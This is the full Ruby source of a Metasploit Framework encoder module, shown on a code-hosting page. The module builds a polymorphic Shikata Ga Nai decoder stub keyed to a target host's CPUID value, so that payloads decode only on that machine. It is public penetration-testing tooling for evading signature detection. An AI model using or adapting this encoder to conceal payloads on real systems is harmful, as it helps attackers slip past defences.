Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/x86/context_cpuid.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/poly'
7
8
class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
9
10
# Manual ranking because the cpuid value is generated and supplied
11
# manually...
12
13
Rank = ManualRanking
14
15
def initialize
16
super(
17
'Name' => 'CPUID-based Context Keyed Payload Encoder',
18
'Description' => %q{
19
This is a Context-Keyed Payload Encoder based on CPUID and Shikata Ga Nai.
20
},
21
'Author' => 'Dimitris Glynos',
22
'Arch' => ARCH_X86,
23
'License' => MSF_LICENSE,
24
'Decoder' => {
25
'KeySize' => 4,
26
'BlockSize' => 4
27
})
28
29
register_options(
30
[
31
OptString.new('CPUID_KEY',
32
[
33
true,
34
'CPUID key from target host (see tools/context/cpuid-key utility)',
35
'0x00000000'
36
]),
37
]
38
)
39
end
40
41
def obtain_key(_buf, _badchars, state)
42
state.key = datastore['CPUID_KEY'].hex
43
return state.key
44
end
45
46
#
47
# Generates the shikata decoder stub.
48
#
49
def decoder_stub(state)
50
# If the decoder stub has not already been generated for this state, do
51
# it now. The decoder stub method may be called more than once.
52
if state.decoder_stub.nil?
53
# Shikata will only cut off the last 1-4 bytes of it's own end
54
# depending on the alignment of the original buffer
55
cutoff = 4 - (state.buf.length & 3)
56
block = keygen_stub + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
57
58
# Take the last 1-4 bytes of shikata and prepend them to the buffer
59
# that is going to be encoded to make it align on a 4-byte boundary.
60
state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
61
62
# Cache this decoder stub. The reason we cache the decoder stub is
63
# because we need to ensure that the same stub is returned every time
64
# for a given encoder state.
65
state.decoder_stub = block
66
end
67
68
state.decoder_stub
69
end
70
71
protected
72
73
def keygen_stub
74
"\x31\xf6" + # xor %esi,%esi
75
"\x31\xff" + # xor %edi,%edi
76
"\x89\xf8" + # cpuid_loop: mov %edi,%eax
77
"\x31\xc9" + # xor %ecx,%ecx
78
"\x0f\xa2" + # cpuid
79
"\x31\xc6" + # xor %eax,%esi
80
"\x39\xf0" + # cmp %esi,%eax
81
"\x75\x03" + # jne not_first_time
82
"\x8d\x78\x01" + # lea 0x1(%eax,1),%edi
83
"\x31\xde" + # not_first_time: xor %ebx,%esi
84
"\x31\xce" + # xor %ecx,%esi
85
"\x31\xd6" + # xor %edx,%esi
86
"\x83\xef\x01" + # sub $0x1,%edi
87
"\x75\xe6" + # jne cpuid_loop
88
"\x89\xf0" # mov %esi,%eax
89
end
90
91
#
92
# Returns the set of FPU instructions that can be used for the FPU block of
93
# the decoder stub.
94
#
95
def fpu_instructions
96
fpus = []
97
98
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
99
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
100
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
101
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
102
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
103
104
fpus << "\xd9\xd0"
105
fpus << "\xd9\xe1"
106
fpus << "\xd9\xf6"
107
fpus << "\xd9\xf7"
108
fpus << "\xd9\xe5"
109
110
# This FPU instruction seems to fail consistently on Linux
111
# fpus << "\xdb\xe1"
112
113
fpus
114
end
115
116
#
117
# Returns a polymorphic decoder stub that is capable of decoding a buffer
118
# of the supplied length and encodes the last cutoff bytes of itself.
119
#
120
def generate_shikata_block(state, length, cutoff)
121
# Declare logical registers
122
key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
123
addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')
124
125
# Declare individual blocks
126
endb = Rex::Poly::SymbolicBlock::End.new
127
128
# FPU blocks
129
fpu = Rex::Poly::LogicalBlock.new(
130
'fpu',
131
*fpu_instructions
132
)
133
fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")
134
135
# Get EIP off the stack
136
popeip = Rex::Poly::LogicalBlock.new(
137
'popeip',
138
proc { |b| (0x58 + b.regnum_of(addr_reg)).chr }
139
)
140
141
# Clear the counter register
142
clear_register = Rex::Poly::LogicalBlock.new(
143
'clear_register',
144
"\x31\xc9",
145
"\x29\xc9",
146
"\x33\xc9",
147
"\x2b\xc9"
148
)
149
150
# Initialize the counter after zeroing it
151
init_counter = Rex::Poly::LogicalBlock.new('init_counter')
152
153
# Divide the length by four but ensure that it aligns on a block size
154
# boundary (4 byte).
155
length += 4 + (4 - (length & 3)) & 3
156
length /= 4
157
158
if (length <= 255)
159
init_counter.add_perm("\xb1" + [ length ].pack('C'))
160
else
161
init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
162
end
163
164
# Key initialization block
165
166
# Decoder loop block
167
loop_block = Rex::Poly::LogicalBlock.new('loop_block')
168
169
xor = proc { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
170
xor1 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
171
xor2 = proc { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
172
add = proc { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
173
add1 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
174
add2 = proc { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
175
sub4 = proc { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
176
add4 = proc { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
177
178
loop_block.add_perm(
179
proc { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
180
proc { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
181
proc { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
182
proc { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
183
proc { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
184
proc { |b| add4.call(b) + xor2.call(b) + add2.call(b) }
185
)
186
187
# Loop instruction block
188
loop_inst = Rex::Poly::LogicalBlock.new(
189
'loop_inst',
190
"\xe2\xf5"
191
)
192
193
# Define block dependencies
194
fnstenv.depends_on(fpu)
195
popeip.depends_on(fnstenv)
196
init_counter.depends_on(clear_register)
197
loop_block.depends_on(popeip, init_counter)
198
loop_inst.depends_on(loop_block)
199
200
# Generate a permutation saving the EAX, ECX and ESP registers
201
loop_inst.generate([
202
Rex::Arch::X86::EAX,
203
Rex::Arch::X86::ESP,
204
Rex::Arch::X86::ECX
205
], nil, state.badchars)
206
end
207
end
208
209